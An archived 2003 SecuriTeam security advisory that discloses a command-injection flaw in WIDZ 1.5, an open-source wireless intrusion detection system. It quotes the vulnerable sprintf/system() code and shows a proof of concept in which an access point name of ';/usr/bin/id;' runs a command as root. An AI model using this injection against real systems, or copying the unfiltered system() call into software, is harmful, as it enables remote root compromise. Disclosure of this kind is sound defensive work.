

# [UNIX] Wireless Intrusion Detection Remote Root Compromise

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0066.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 08/24/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 24 Aug 2003 17:12:22 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Wireless Intrusion Detection Remote Root Compromise

---

## SUMMARY

<<http://www.loud-fat-bloke.co.uk/w80211.html>> WIDZ "the first Open Source wireless IDS that has the ability to detects rogue Access Points, Monkey-jacks, NULL probes, Floods, MAC Backlist nodes, and ESSID blacklisted nodes, allowing you to catch bad guys in action". Due to inappropriate filtering of code, it is possible to cause the program to execute arbitrary commands.

## DETAILS

Vulnerable systems:

\* WIDZ version 1.5 and prior

Vulnerable code:

```
do_alert(char *target)
{
    char mess[100];
    if ( DEBUG )
        printf("Alert unknown AP %s\n", target);
    sprintf(mess,"Alert 'unknown AP %s\n'", target);
```

## Securiteam: [UNIX] Wireless Intrusion Detection Remote Root Compromise

```
system(mess);  
// Should do a check to see if we've alerted already but !!!  
}
```

As you can see the function `system(mess)` is executed without proper filtering, therefore it is possible to cause it to execute arbitrary code.

Go to apple airport and set network name to `;/usr/bin/id;` (Use HostAP instead)

```
snifz0r widz # ./widz_apmon 1 eth1 monitor  
unknown AP essid=  
uid=0(root) gid=0(root)  
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
sh: -c: line 3: unexpected EOF while looking for matching `"  
sh: -c: line 4: syntax error: unexpected end of file
```

At this point, the attacker can pretty much do what they wish. As a side note this is not the only WIDZ program to make use of `system()` in this manor.

### ADDITIONAL INFORMATION

The information has been provided by [dotslash@snoosoft.com](mailto:dotslash@snoosoft.com) KF.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.